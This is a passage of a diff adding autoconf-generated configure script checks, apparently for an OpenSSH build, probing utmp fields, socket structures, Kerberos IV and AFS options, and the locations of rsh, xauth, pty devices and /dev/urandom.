"$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ADDR_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_addr' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr + echo $ac_n "checking for ut_addr field in utmpx.h""... $ac_c" 1>&6 +echo "configure:6006: checking for ut_addr field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_addr" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ADDR_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_addr_v6' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr_v6 + echo $ac_n "checking for ut_addr_v6 field in utmp.h""... $ac_c" 1>&6 +echo "configure:6046: checking for ut_addr_v6 field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_addr_v6" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ADDR_V6_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_addr_v6' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_addr_v6 + echo $ac_n "checking for ut_addr_v6 field in utmpx.h""... $ac_c" 1>&6 +echo "configure:6086: checking for ut_addr_v6 field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_addr_v6" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_ADDR_V6_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_exit' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_exit + echo $ac_n "checking for ut_exit field in utmp.h""... $ac_c" 1>&6 +echo "configure:6126: checking for ut_exit field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_exit" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_EXIT_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_time' in header 'utmp.h' + ossh_safe=`echo "utmp.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_time + echo $ac_n "checking for ut_time field in utmp.h""... $ac_c" 1>&6 +echo "configure:6166: checking for ut_time field in utmp.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_time" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TIME_IN_UTMP 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_time' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_time + echo $ac_n "checking for ut_time field in utmpx.h""... $ac_c" 1>&6 +echo "configure:6206: checking for ut_time field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_time" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TIME_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + + +# look for field 'ut_tv' in header 'utmpx.h' + ossh_safe=`echo "utmpx.h" | sed 'y%./+-%__p_%'` + ossh_varname="ossh_cv_$ossh_safe""_has_"ut_tv + echo $ac_n "checking for ut_tv field in utmpx.h""... $ac_c" 1>&6 +echo "configure:6246: checking for ut_tv field in utmpx.h" >&5 + if eval "test \"`echo '$''{'$ossh_varname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +EOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + egrep "ut_tv" >/dev/null 2>&1; then + rm -rf conftest* + eval "$ossh_varname=yes" +else + rm -rf conftest* + eval "$ossh_varname=no" +fi +rm -f conftest* + +fi + + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + echo "$ac_t""$ossh_result" 1>&6 + if test "x$ossh_result" = "xyes"; then + cat >> confdefs.h <<\EOF +#define HAVE_TV_IN_UTMPX 1 +EOF + + fi + else + echo "$ac_t""no" 1>&6 + fi + +echo $ac_n "checking for st_blksize in struct stat""... $ac_c" 1>&6 +echo "configure:6282: checking for st_blksize in struct stat" >&5 +if eval "test \"`echo '$''{'ac_cv_struct_st_blksize'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +#include +int main() { +struct stat s; s.st_blksize; +; return 0; } +EOF +if { (eval echo configure:6295: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_struct_st_blksize=yes +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_struct_st_blksize=no +fi +rm -f conftest* +fi + +echo "$ac_t""$ac_cv_struct_st_blksize" 1>&6 +if test $ac_cv_struct_st_blksize = yes; then + cat >> confdefs.h <<\EOF +#define HAVE_ST_BLKSIZE 1 +EOF + +fi + + +echo $ac_n "checking for sun_len field in struct sockaddr_un""... $ac_c" 1>&6 +echo "configure:6317: checking for sun_len field in struct sockaddr_un" >&5 +if eval "test \"`echo '$''{'ac_cv_have_sun_len_in_struct_sockaddr_un'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_un s; s.sun_len = 1; +; return 0; } +EOF +if { (eval echo configure:6333: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_sun_len_in_struct_sockaddr_un="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_sun_len_in_struct_sockaddr_un="no" +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_sun_len_in_struct_sockaddr_un" 1>&6 +if test "x$ac_cv_have_sun_len_in_struct_sockaddr_un" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SUN_LEN_IN_SOCKADDR_UN 1 +EOF + +fi + +echo $ac_n "checking for ss_family field in struct sockaddr_storage""... $ac_c" 1>&6 +echo "configure:6355: checking for ss_family field in struct sockaddr_storage" >&5 +if eval "test \"`echo '$''{'ac_cv_have_ss_family_in_struct_ss'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_storage s; s.ss_family = 1; +; return 0; } +EOF +if { (eval echo configure:6371: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_ss_family_in_struct_ss="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_ss_family_in_struct_ss="no" +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_ss_family_in_struct_ss" 1>&6 +if test "x$ac_cv_have_ss_family_in_struct_ss" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SS_FAMILY_IN_SS 1 +EOF + +fi + +echo $ac_n "checking for __ss_family field in struct sockaddr_storage""... $ac_c" 1>&6 +echo "configure:6393: checking for __ss_family field in struct sockaddr_storage" >&5 +if eval "test \"`echo '$''{'ac_cv_have___ss_family_in_struct_ss'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < +#include + +int main() { + struct sockaddr_storage s; s.__ss_family = 1; +; return 0; } +EOF +if { (eval echo configure:6409: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have___ss_family_in_struct_ss="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have___ss_family_in_struct_ss="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have___ss_family_in_struct_ss" 1>&6 +if test "x$ac_cv_have___ss_family_in_struct_ss" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE___SS_FAMILY_IN_SS 1 +EOF + +fi + +echo $ac_n "checking for pw_class field in struct passwd""... $ac_c" 1>&6 +echo "configure:6432: checking for pw_class field in struct passwd" >&5 +if eval "test \"`echo '$''{'ac_cv_have_pw_class_in_struct_passwd'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext < + +int main() { + struct passwd p; p.pw_class = 0; +; return 0; } +EOF +if { (eval echo configure:6447: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_have_pw_class_in_struct_passwd="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_have_pw_class_in_struct_passwd="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_have_pw_class_in_struct_passwd" 1>&6 +if test "x$ac_cv_have_pw_class_in_struct_passwd" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_PW_CLASS_IN_PASSWD 1 +EOF + +fi + + +echo $ac_n "checking if libc defines __progname""... $ac_c" 1>&6 +echo "configure:6471: checking if libc defines __progname" >&5 +if eval "test \"`echo '$''{'ac_cv_libc_defines___progname'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + ac_cv_libc_defines___progname="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_libc_defines___progname="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_libc_defines___progname" 1>&6 +if test "x$ac_cv_libc_defines___progname" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE___PROGNAME 1 +EOF + +fi + + +echo $ac_n "checking if libc defines sys_errlist""... $ac_c" 1>&6 +echo "configure:6508: checking if libc defines sys_errlist" >&5 +if eval "test \"`echo '$''{'ac_cv_libc_defines_sys_errlist'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + ac_cv_libc_defines_sys_errlist="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_libc_defines_sys_errlist="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_libc_defines_sys_errlist" 1>&6 +if test "x$ac_cv_libc_defines_sys_errlist" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SYS_ERRLIST 1 +EOF + +fi + + +echo $ac_n "checking if libc defines sys_nerr""... $ac_c" 1>&6 +echo "configure:6545: checking if libc defines sys_nerr" >&5 +if eval "test \"`echo '$''{'ac_cv_libc_defines_sys_nerr'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + + cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + ac_cv_libc_defines_sys_nerr="yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + ac_cv_libc_defines_sys_nerr="no" + +fi +rm -f conftest* + +fi + +echo "$ac_t""$ac_cv_libc_defines_sys_nerr" 1>&6 +if test "x$ac_cv_libc_defines_sys_nerr" = "xyes" ; then + cat >> confdefs.h <<\EOF +#define HAVE_SYS_NERR 1 +EOF + +fi + + +# Check whether user wants Kerberos support +KRB4_MSG="no" +# Check whether --with-kerberos4 or --without-kerberos4 was given. +if test "${with_kerberos4+set}" = set; then + withval="$with_kerberos4" + + if test "x$withval" != "xno" ; then + + if test "x$withval" != "xyes" ; then + CPPFLAGS="$CPPFLAGS -I${withval}/include" + LDFLAGS="$LDFLAGS -L${withval}/lib" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R${withval}/lib" + fi + if test ! -z "$blibpath" ; then + blibpath="$blibpath:${withval}/lib" + fi + else + if test -d /usr/include/kerberosIV ; then + CPPFLAGS="$CPPFLAGS -I/usr/include/kerberosIV" + fi + fi + + for ac_hdr in krb.h +do +ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'` +echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6 +echo "configure:6608: checking for $ac_hdr" >&5 +if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:6618: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + rm -rf conftest* + eval "ac_cv_header_$ac_safe=yes" +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_header_$ac_safe=no" +fi +rm -f conftest* +fi +if eval "test \"`echo '$ac_cv_header_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_hdr=HAVE_`echo $ac_hdr | sed 'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'` + cat >> confdefs.h <&6 +fi +done + + if test "$ac_cv_header_krb_h" != yes; then + echo "configure: warning: Cannot find krb.h, build may fail" 1>&2 + fi + echo $ac_n "checking for main in -lkrb""... $ac_c" 1>&6 +echo "configure:6648: checking for main in -lkrb" >&5 +ac_lib_var=`echo krb'_'main | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lkrb $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo krb | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + + if test "$ac_cv_lib_krb_main" != yes; then + echo $ac_n "checking for main in -lkrb4""... $ac_c" 1>&6 +echo "configure:6692: checking for main in -lkrb4" >&5 +ac_lib_var=`echo krb4'_'main | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lkrb4 $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo krb4 | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + + if test "$ac_cv_lib_krb4_main" != yes; then + echo "configure: warning: Cannot find libkrb nor libkrb4, build may fail" 1>&2 + else + KLIBS="-lkrb4" + fi + else + KLIBS="-lkrb" + fi + echo $ac_n "checking for des_cbc_encrypt in -ldes""... $ac_c" 1>&6 +echo "configure:6743: checking for des_cbc_encrypt in -ldes" >&5 +ac_lib_var=`echo des'_'des_cbc_encrypt | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-ldes $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo des | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + + if test "$ac_cv_lib_des_des_cbc_encrypt" != yes; then + echo $ac_n "checking for des_cbc_encrypt in -ldes425""... $ac_c" 1>&6 +echo "configure:6791: checking for des_cbc_encrypt in -ldes425" >&5 +ac_lib_var=`echo des425'_'des_cbc_encrypt | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-ldes425 $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo des425 | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + + if test "$ac_cv_lib_des425_des_cbc_encrypt" != yes; then + echo "configure: warning: Cannot find libdes nor libdes425, build may fail" 1>&2 + else + KLIBS="-ldes425" + fi + else + KLIBS="-ldes" + fi + echo $ac_n "checking for dn_expand in -lresolv""... $ac_c" 1>&6 +echo "configure:6846: checking for dn_expand in -lresolv" >&5 +ac_lib_var=`echo resolv'_'dn_expand | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lresolv $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo resolv | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + + KRB4=yes + KRB4_MSG="yes" + cat >> confdefs.h <<\EOF +#define KRB4 1 +EOF + + fi + + +fi + + +# Check whether user wants AFS support +AFS_MSG="no" +# Check whether --with-afs or --without-afs was given. +if test "${with_afs+set}" = set; then + withval="$with_afs" + + if test "x$withval" != "xno" ; then + + if test "x$withval" != "xyes" ; then + CPPFLAGS="$CPPFLAGS -I${withval}/include" + LDFLAGS="$LDFLAGS -L${withval}/lib" + fi + + if test -z "$KRB4" ; then + echo "configure: warning: AFS requires Kerberos IV support, build may fail" 1>&2 + fi + + LIBS="-lkafs $LIBS" + if test ! -z "$AFS_LIBS" ; then + LIBS="$LIBS $AFS_LIBS" + fi + cat >> confdefs.h <<\EOF +#define AFS 1 +EOF + + AFS_MSG="yes" + fi + + +fi + +LIBS="$LIBS $KLIBS" + +# Looking for programs, paths and files +# Check whether --with-rsh or --without-rsh was given. +if test "${with_rsh+set}" = set; then + withval="$with_rsh" + + if test "x$withval" != "$no" ; then + rsh_path=$withval + fi + +else + + # Extract the first word of "rsh", so it can be a program name with args. +set dummy rsh; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:6951: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_rsh_path'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$rsh_path" in + /*) + ac_cv_path_rsh_path="$rsh_path" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_rsh_path="$rsh_path" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_rsh_path="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +rsh_path="$ac_cv_path_rsh_path" +if test -n "$rsh_path"; then + echo "$ac_t""$rsh_path" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + + +fi + + +# Check whether --with-xauth or --without-xauth was given. +if test "${with_xauth+set}" = set; then + withval="$with_xauth" + + if test "x$withval" != "xno" ; then + xauth_path=$withval + fi + +else + + # Extract the first word of "xauth", so it can be a program name with args. +set dummy xauth; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:7001: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_xauth_path'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$xauth_path" in + /*) + ac_cv_path_xauth_path="$xauth_path" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_xauth_path="$xauth_path" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH:/usr/X/bin:/usr/bin/X11:/usr/X11R6/bin:/usr/openwin/bin" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_xauth_path="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +xauth_path="$ac_cv_path_xauth_path" +if test -n "$xauth_path"; then + echo "$ac_t""$xauth_path" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if (test ! -z "$xauth_path" && test -x "/usr/openwin/bin/xauth") ; then + xauth_path="/usr/openwin/bin/xauth" + fi + + +fi + + +if test -z "$xauth_path" ; then + XAUTH_PATH="undefined" + +else + cat >> confdefs.h <> confdefs.h <> confdefs.h <&6 +echo "configure:7072: checking for "/dev/ptmx"" >&5 +if eval "test \"`echo '$''{'ac_cv_file_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + { echo "configure: error: Cannot check for file existence when cross compiling" 1>&2; exit 1; } +else + if test -r "/dev/ptmx"; then + eval "ac_cv_file_$ac_safe=yes" + else + eval "ac_cv_file_$ac_safe=no" + fi +fi +fi +if eval "test \"`echo '$ac_cv_file_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + + cat >> confdefs.h <&6 + +fi + +fi + +ac_safe=`echo ""/dev/ptc"" | sed 'y%./+-%__p_%'` +echo $ac_n "checking for "/dev/ptc"""... $ac_c" 1>&6 +echo "configure:7105: checking for "/dev/ptc"" >&5 +if eval "test \"`echo '$''{'ac_cv_file_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + { echo "configure: error: Cannot check for file existence when cross compiling" 1>&2; exit 1; } +else + if test -r "/dev/ptc"; then + eval "ac_cv_file_$ac_safe=yes" + else + eval "ac_cv_file_$ac_safe=no" + fi +fi +fi +if eval "test \"`echo '$ac_cv_file_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + + cat >> confdefs.h <&6 + +fi + + +# Options from here on. Some of these are preset by platform above + +# Check for user-specified random device, otherwise check /dev/urandom +# Check whether --with-random or --without-random was given. +if test "${with_random+set}" = set; then + withval="$with_random" + + if test "x$withval" != "xno" ; then + RANDOM_POOL="$withval"; + cat >> confdefs.h <&6 +echo "configure:7156: checking for "/dev/urandom"" >&5 +if eval "test \"`echo '$''{'ac_cv_file_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + { echo "configure: error: Cannot check for file existence when cross compiling" 1>&2; exit 1; } +else + if test -r "/dev/urandom"; then + eval "ac_cv_file_$ac_safe=yes" + else + eval "ac_cv_file_$ac_safe=no" + fi +fi +fi +if eval "test \"`echo '$ac_cv_file_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + + RANDOM_POOL="/dev/urandom"; + + cat >> confdefs.h <&6 + +fi + + + +fi + + +# Check for PRNGD/EGD pool file +# Check whether --with-prngd-port or --without-prngd-port was given. +if test "${with_prngd_port+set}" = set; then + withval="$with_prngd_port" + + if test ! -z "$withval" -a "x$withval" != "xno" ; then + 